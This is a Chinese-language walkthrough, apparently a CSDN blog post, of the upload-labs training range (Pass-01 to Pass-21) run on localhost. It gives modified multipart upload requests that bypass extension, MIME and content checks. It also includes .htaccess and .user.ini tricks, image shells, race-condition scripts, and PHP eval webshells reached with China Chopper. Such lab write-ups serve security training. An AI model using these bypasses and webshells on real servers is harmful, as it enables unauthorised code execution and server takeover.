upload-labs靶场笔记

Pass-01(前端验证)

通过BurpSuite在上传时进行抓包,将phpinfo.php后缀改为png,抓包后:

------WebKitFormBoundarylmVwhqWRbWuqHQfO

Content-Disposition: form-data; name="upload_file"; filename="phpinfo.png"

Content-Type: image/png

<?php phpinfo(); ?>

------WebKitFormBoundarylmVwhqWRbWuqHQfO

Content-Disposition: form-data; name="submit"

涓婁紶

------WebKitFormBoundarylmVwhqWRbWuqHQfO--

修改加粗内容中:filename="phpinfo.php",修改后上传

输入网址:http://127.0.0.1/upload-labs/upload/phpinfo.php,成功查看到该页面phpinfo信息

Pass-02(MIME验证)

通过BurpSuite在上传时进行抓包,将phpinfo.php后缀改为png,抓包后:

------WebKitFormBoundarylmVwhqWRbWuqHQfO

Content-Disposition: form-data; name="upload_file"; filename="phpinfo.png"

Content-Type: image/png

<?php phpinfo(); ?>

------WebKitFormBoundarylmVwhqWRbWuqHQfO

Content-Disposition: form-data; name="submit"

涓婁紶

------WebKitFormBoundarylmVwhqWRbWuqHQfO--

修改加粗内容中:filename="phpinfo.php",修改后上传

输入网址:http://127.0.0.1/upload-labs/upload/phpinfo.php,成功查看到该页面phpinfo信息

Pass-03(黑名单验证,特色后缀)

上传phpinfo.php文件,在上传时利用BurpSuite进行抓包,将抓到的包转到Repeater中,查看包内容:

------WebKitFormBoundaryf4bvbUsESk2PFkPw

Content-Disposition: form-data; name="upload_file"; filename="phpinfo.php"

Content-Type: application/octet-stream

<?php phpinfo(); ?>

------WebKitFormBoundaryf4bvbUsESk2PFkPw Content-Disposition: form-data; name="submit"

涓婁紶

------WebKitFormBoundaryf4bvbUsESk2PFkPw--

修改加粗内容为:Content-Disposition: form-data; name="upload_file"; filename="phpinfo.php2",修改后点击Send按钮上传,查看上传后Response中的Pretty模块,找到上传区的图片:img src="../upload/202111102020075547.php2"

输入网址:http://127.0.0.1/upload-labs//upload/202111102020075547.php2,成功看到该网页的phpinfo.php文件

Pass-04(黑名单验证,.htaccess绕过)

上传一个.htaccess文件,在上传时利用BurpSuite进行抓包:

------WebKitFormBoundaryaZpC53cOApBRUN8a

Content-Disposition: form-data; name="upload_file"; filename=".htaccess"

Content-Type: application/octet-stream

AddType application/x-httpd-php .png

------WebKitFormBoundaryaZpC53cOApBRUN8a

Content-Disposition: form-data; name="submit"

涓婁紶

------WebKitFormBoundaryaZpC53cOApBRUN8a--

修改加粗内容为:Content-Type:image/png,上传成功后,将phpinfo.php文件后缀改为png上传

输入网址:http://127.0.0.1/upload-labs/upload/phpinfo.png,成功查看到该页面phpinfo信息

Pass-05(黑名单验证,.user.ini绕过)

创建一个users.ini文件,文件内容为:auto_prepend_file=shell.png,创建后上传users.ini文件,上传后,写一句话木马:<?php @eval($_POST['x']);?>,将一句话木马文件命名为shell.php,更改该文件后缀为png,在该页面上传,上传后,通过中国菜刀成功执行该脚本

Pass-06(黑名单验证,大小写绕过)

上传phpinfo.php文件,在上传的过程中进行抓包,抓包后将包放在Repeater中:

------WebKitFormBoundaryhdhbQZE7CBtlXTNx

Content-Disposition: form-data; name="upload_file"; filename="phpinfo.php"

Content-Type: application/octet-stream

<?php phpinfo(); ?>

------WebKitFormBoundaryhdhbQZE7CBtlXTNx

Content-Disposition: form-data; name="submit"

涓婁紶

------WebKitFormBoundaryhdhbQZE7CBtlXTNx--

修改加粗内容为:Content-Disposition: form-data; name="upload_file"; filename="phpinfo.Php",修改后上传,上传后找到该页面的上传区网页源码,在源码找到上传的图片地址

输入网址:http://127.0.0.1/upload-labs/upload/202111102043153825.Php,成功获取该页面的phpinfo信息

Pass-07(黑名单验证,空格绕过)

上传phpinfo.php文件,在上传的过程中进行抓包,抓包后将包放在Repeater中:

------WebKitFormBoundarySof7Oys2QAFcAapt

Content-Disposition: form-data; name="upload_file"; filename="phpinfo.php"

Content-Type: application/octet-stream

<?php phpinfo(); ?>

------WebKitFormBoundarySof7Oys2QAFcAapt

Content-Disposition: form-data; name="submit"

涓婁紶

------WebKitFormBoundarySof7Oys2QAFcAapt--

修改加粗内容为:Content-Disposition: form-data; name="upload_file"; filename="phpinfo.php "(在php后面加上空格),修改后上传,上传后找到该页面的上传区网页源码,在源码找到上传的图片地址

输入网址:http://127.0.0.1/upload-labs/upload/202111102048375314.php,成功获取到该网页的phpinfo信息

Pass-08(黑名单验证,点号绕过)

上传phpinfo.php文件,在上传时通过BurpSuite进行抓包:

------WebKitFormBoundary5Unc6BD9Q4gn4daD

Content-Disposition: form-data; name="upload_file"; filename="phpinfo.php"

Content-Type: application/octet-stream

<?php phpinfo(); ?>

------WebKitFormBoundary5Unc6BD9Q4gn4daD

Content-Disposition: form-data; name="submit"

涓婁紶

------WebKitFormBoundary5Unc6BD9Q4gn4daD--

修改加粗内容为:Content-Disposition: form-data; name="upload_file"; filename="phpinfo.php."(后面加一个.符号),成功上传后

输入网址:http://127.0.0.1/upload-labs/upload/phpinfo.php,成功获取到该网页的phpinfo信息

Pass-09(黑名单验证,特殊字符::$DATA绕过)

上传phpinfo.php文件,在上传时通过BurpSuite进行抓包,将包放至Repeater中:

------WebKitFormBoundaryZCABfitwbglmYZha

Content-Disposition: form-data; name="upload_file"; filename="phpinfo.php"

Content-Type: application/octet-stream

<?php phpinfo(); ?>

------WebKitFormBoundaryZCABfitwbglmYZha

Content-Disposition: form-data; name="submit"

涓婁紶

------WebKitFormBoundaryZCABfitwbglmYZha--

修改加粗内容为:Content-Disposition: form-data; name="upload_file"; filename="phpinfo.php::$DATA",修改后上传,上传后找到该页面的上传区网页源码,在源码找到上传的图片地址

输入网址:http://127.0.0.1/upload-labs/upload/202111102105253772.php,成功获取到该网页的phpinfo信息

Pass-10(黑名单验证,点号加空格加点号绕过)

上传phpinfo.php文件,在上传时通过BurpSuite进行抓包,将包放至Repeater中:

------WebKitFormBoundary7bJn8kECT3ghfdZu

Content-Disposition: form-data; name="upload_file"; filename="phpinfo.php"

Content-Type: application/octet-stream

<?php phpinfo(); ?>

------WebKitFormBoundary7bJn8kECT3ghfdZu

Content-Disposition: form-data; name="submit"

涓婁紶

------WebKitFormBoundary7bJn8kECT3ghfdZu--

修改加粗内容:Content-Disposition: form-data; name="upload_file"; filename="phpinfo.php. ."(在php后面加上一个点,然后空格,然后再加一个点),修改后上传,上传后找到该页面的上传区网页源码,在源码找到上传的图片地址

输入网址:http://127.0.0.1/upload-labs/upload/phpinfo.php. (php最后面有一个点),成功获取到该网页的phpinfo信息

Pass-11(黑名单验证,堆叠绕过)

上传phpinfo.php文件,在上传时通过BurpSuite进行抓包,将包放至Repeater中:

上传phpinfo.php包,发现php被屏蔽,只上传了info文件,尝试对php进行堆叠,最后发现pphphpinfo.pphphp可以完整上传为phpinfo.php文件,上pphphpinfo.pphphp文件

输入网址:http://127.0.0.1/upload-labs/upload/phpinfo.php,成功获取该网页的phpinfo信息

Pass-12(Get00截断)

从源码中判断为%00截断,截断条件为:php版本小于5.3.4,php的magic_quotes_gpc为OFF状态,需将phpStudy的php版本调到5.3.4,php.ini文件的magic_quotes_gpc设置为off状态

通过BurpSuite对上传文件进行抓包,将包传至Repater中:

POST /upload-labs/Pass-12/index.php?save_path=../upload/ HTTP/1.1

对头部文件进行修改:

POST /upload-labs/Pass-12/index.php?save_path=../upload/phpinfo.php%00 HTTP/1.1

对上传文件部分进行修改:

------WebKitFormBoundarydbNkqjNBBkjFZ8ae

Content-Disposition: form-data; name="upload_file"; filename="phpinfo.php"

Content-Type: application/octet-stream

<?php phpinfo(); ?>

------WebKitFormBoundarydbNkqjNBBkjFZ8ae

Content-Disposition: form-data; name="submit"

涓婁紶

------WebKitFormBoundarydbNkqjNBBkjFZ8ae--

修改加粗内容为:

Content-Disposition: form-data; name="upload_file"; filename="phpinfo.png",修改后上传文件,上传后找到该页面的上传区网页源码,在源码找到上传的图片地址

输入网址:http://127.0.0.1/upload-labs/upload/phpinfo.php,成功获取到该网页的phpinfo信息

Pass-13(POST00截断)

从源码中判断为%00截断,截断条件为:php版本小于5.3.4,php的magic_quotes_gpc为OFF状态,需将phpStudy的php版本调到5.3.4,php.ini文件的magic_quotes_gpc设置为off状态

通过BurpSuite在上传文件时进行抓包,将包传至Repeater中:

------WebKitFormBoundaryqhizPdQBQFrlwkxq

Content-Disposition: form-data; name="save_path"

../upload/

------WebKitFormBoundaryqhizPdQBQFrlwkxq

Content-Disposition: form-data; name="upload_file"; filename="phpinfo.php"

Content-Type: application/octet-stream

<?php phpinfo(); ?>

------WebKitFormBoundaryqhizPdQBQFrlwkxq

Content-Disposition: form-data; name="submit"

涓婁紶

------WebKitFormBoundaryqhizPdQBQFrlwkxq--

在Raw中修改加粗内容为:

../upload/phpinfo.php+(后面+号方便后面改上传数据的Hex值)

Content-Disposition: form-data; name="upload_file"; filename="phpinfo.png"

修改Hex中的内容:

找到../upload/phpinfo.php+所对应的Hex值:2e 2e 2f 75 70 6c 6f 61 64 2f 70 68 70 69 6e 66 6f 2e 70 68 70 2b 0d

找到+所对应的2b值,修改为00,修改后上传,上传后找到该页面的上传区网页源码,在源码找到上传的图片地址

输入地址:http://127.0.0.1/upload-labs/upload/phpinfo.php,成功获取到该网页的phpinfo信息

Pass-14(图片马加文件包含漏洞)

利用cmd写一个图片马:

cd 图片和脚本文件位置

copy phpinfo.php+shell.jpg phpinfo.jpg

创建完成后上传该图片马,上传成功后点击文件包含漏洞,进入网址:http://127.0.0.1/upload-labs/include.php

输入网址:http://127.0.0.1/upload-labs/include.php?file=upload/9320211111170155.jpeg,成功获取到该网页的phpinfo信息

Pass-15(图片马加文件包含漏洞)

利用cmd写一个图片马:

cd 图片和脚本文件位置

copy phpinfo.php+shell.jpg phpinfo.jpg

创建完成后上传该图片马,上传成功后点击文件包含漏洞,进入网址:http://127.0.0.1/upload-labs/include.php

输入网址:http://127.0.0.1/upload-labs/include.php?file=upload/2620211111170715.jpeg,成功获取到该网页的phpinfo信息

Pass-16(exif_imagetype图片马)

在phpStudy中把php_exif开启,或者在php.ini将php_exif开启

利用cmd写一个图片马:

cd 图片和脚本文件位置

copy phpinfo.php+shell.jpg phpinfo.jpg

创建完成后上传该图片马,上传成功后点击文件包含漏洞,进入网址:http://127.0.0.1/upload-labs/include.php

输入网址:http://127.0.0.1/upload-labs/include.php?file=upload/9620211111174735.jpg,成功获取到该网页的phpinfo信息

Pass-17(二次渲染绕过)

通过源码来判断该网页使用二次渲染,查询资料得上传gif文件比较容易

通过上传一个gif文件,在上传的时候利用BurpSuite进行抓包,将包放进Repeater中,点击Hex模块,将<?php phpinfo(); ?>添加到 shell.gif的尾部

成功上传含有phpinfo脚本但是无法获得网页的phpinfo信息,将上传的图片下载到本地,可以通往文件名判断,下载下来的图片是经过二次渲染的图片,将两张gif文件分别用16进制编辑器打开,发现gif末端的php代码已经被去除

关于绕过gif的二次渲染,我们只需要找到渲染前后没有变化的位置,然后将php代码写进去,就可以成功上传带有php代码的图片了

对比两张gif文件的16进制,发现有一段部分的代码未改变,将php代码写在这一段为改变的位置上

phpinfo16进制代码:

3C 3F 70 68 70 20 70 68 70 69 6E 66 6F 28 29 3B 3F 3E

将修改后的文件上传,下载下来发现php代码并没有被去除

访问网址:http://127.0.0.1/upload-labs/

Pass-18(条件竞争)

通过提示得知需要进行代码审计,从源码来看,服务器先是将上传的文件保存下来,然后将文件的后缀名同白名单对比,如果是jpg、png、gif中的一种,就将文件进行重命名。如果不符合的话,unlink()函数就会删除该文件

这么看来如果我们还是上传一个图片马的话,网站依旧存在文件包含漏洞我们还是可以进行利用。但是如果没有文件包含漏洞的话,我们就只能上传一个php木马来解析运行了

虽然上传php木马会被删除,但是如果在上传过程中,在PHP木马被删除前被访问,就能实现文件上传漏洞

我们可以利用burp多线程发包,然后不断在浏览器访问我们的webshell,会有一瞬间的访问成功

写一句话木马,将其命名为:fp.php,代码为:

<?php fputs(fopen('fpt.php','w'),'<?php @eval($_POST["x"])?>')?>

上传该段代码,在上传过程中将其拦截(后续保持拦截状态),将该段拦截的包放在Intruder中

点击Positions模块,点击Clear$

再点击Payloads模块,设置:

Payload Sets

Payload set : 1

Payload type : Null payloads

Payload Options[Null payload]设置为Continue indefinitely

再点击Options模块,设置:

Request Engine

Number of threads : 20

Number of retries on network failure : 3

Pause before retry (milliseconds) : 2000

最后写一个python脚本:

import requests
url = "http://127.0.0.1/upload-labs/upload/fp.php"
while True:
    html = requests.get(url)
    if html.status_code == 200:
        print("OK")
        break

在BurpSuite中的Intruder,点击Start Attack进行攻击,在攻击过程中运行python脚本

当python脚本运行成功后,显示OK后,利用中国菜刀连接

输入网址:http://127.0.0.1/upload-labs/upload/fp.php 密码为:x

成功连接到该网页的服务器

Pass-19(条件竞争)

通过提示可以知道该题需要进行代码审计,从源码来看的话,服务器先是将文件后缀跟白名单做了对比,然后检查了文件大小以及文件是否已经存在。文件上传之后又对其进行了重命名

这么看来的话,php是不能上传了,只能上传图片马了,而且需要在图片马没有被重命名之前访问它,要让图片马能够执行还要配合其他漏洞,比如文件包含,apache解析漏洞等

这里还是将前一关的代码插入图片作出图片马,然后通过文件包含去访问该图片马

制作一个phpinfo文件,再找一个图片文件

利用cmd写一个图片马:

cd 图片和脚本文件位置

copy phpinfo.php+shell.jpg phpinfo.jpg

上传图片马,再上传过程中利用BurpSuite进行拦截(后续保持拦截状态),将拦截的包放在Intruder中

上传该段代码,在上传过程中将其拦截(后续保持拦截状态),将该段拦截的包放在Intruder中

点击Positions模块,点击Clear$

再点击Payloads模块,设置:

Payload Sets

Payload set : 1

Payload type : Null payloads

Payload Options[Null payload]设置为Continue indefinitely

再点击Options模块,设置:

Request Engine

Number of threads : 20

Number of retries on network failure : 3

Pause before retry (milliseconds) : 2000

最后写一个python脚本:

import requests
url = "http://127.0.0.1/upload-labs/include.php?file=upload/phpinfo.jpg"
while True:
    html = requests.get(url)
    if ( 'Warning'  not in  str(html.text)):
        print('OK')
        break

在BurpSuite中的Intruder,点击Start Attack进行攻击,在攻击过程中运行python脚本

当python脚本运行成功后,显示OK后

输入网址:http://127.0.0.1/upload-labs/include.php?file=upload/phpinfo.jpg,成功获取到该页面的phpinfo信息

Pass-20

在该网页上上传phpinfo.php文件,保存名称输入phpinfo.php文件,点击上传

在上传过程中,利用BurpSuite进行抓包:

------WebKitFormBoundaryppiwFeroDrKhOXWT

Content-Disposition: form-data; name="upload_file"; filename="phpinfo.php"

Content-Type: application/octet-stream

<?php phpinfo(); ?>

------WebKitFormBoundaryppiwFeroDrKhOXWT

Content-Disposition: form-data; name="save_name"

phpinfo.php

------WebKitFormBoundaryppiwFeroDrKhOXWT

Content-Disposition: form-data; name="submit"

涓婁紶

------WebKitFormBoundaryppiwFeroDrKhOXWT--

修改加粗内容为:phpinfo.php.(后面加点号)

上传成功后,输入网址:http://127.0.0.1/upload-labs/upload/phpinfo.php,成功获取到该网页phpinfo信息

Pass-21

通过提示审计代码:

这一关白名单 验证过程: --> 验证上传路径是否存在 --> 验证['upload_file']的content-type是否合法(可以抓包修改) --> 判断POST参数是否为空定义$file变量(关键:构造数组绕过下一步的判断) -->判断file不是数组则使用explode('.', strtolower($file))对file进行切割,将file变为一个数组 --> 判断数组最后一个元素是否合法 --> 数组第一位和$file[count($file) - 1]进行拼接,产生保存文件名file_name --> 上传文件

补充知识: explode(separator,string[,limit]) 函数,使用一个字符串分割另一个字符串,并返回由字符串组成的数组。 end(array)函数,输出数组中的当前元素和最后一个元素的值。 reset(array)函数,把数组的内部指针指向第一个元素,并返回这个元素的值 count(array)函数,计算数组中的单元数目,或对象中的属性个数

上传一个phpinfo.php文件,保存文件名称为phpinfo.php,在上传过程中进行抓包:

------WebKitFormBoundaryR85HPrW1ifCGE9eA

Content-Disposition: form-data; name="upload_file"; filename="phpinfo.php"

Content-Type: application/octet-stream

<?php phpinfo(); ?>

------WebKitFormBoundaryR85HPrW1ifCGE9eA

Content-Disposition: form-data; name="save_name"

phpinfo.php

------WebKitFormBoundaryR85HPrW1ifCGE9eA

Content-Disposition: form-data; name="submit"

涓婁紶

------WebKitFormBoundaryR85HPrW1ifCGE9eA--

修改加粗内容为:

------WebKitFormBoundaryR85HPrW1ifCGE9eA

Content-Disposition: form-data; name="upload_file"; filename="phpinfo.php"

Content-Type: image/png

<?php phpinfo(); ?>

------WebKitFormBoundaryR85HPrW1ifCGE9eA

Content-Disposition: form-data; name="save_name[0]"

phpinfo.php

------WebKitFormBoundaryR85HPrW1ifCGE9eA

Content-Disposition: form-data; name="save_name[2]"

png

------WebKitFormBoundaryR85HPrW1ifCGE9eA

Content-Disposition: form-data; name="submit"

涓婁紶

------WebKitFormBoundaryR85HPrW1ifCGE9eA--

修改后上传,上传成功后,输入网址:http://127.0.0.1/upload-labs/upload/phpinfo.php,成功获取到phpinfo信息

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值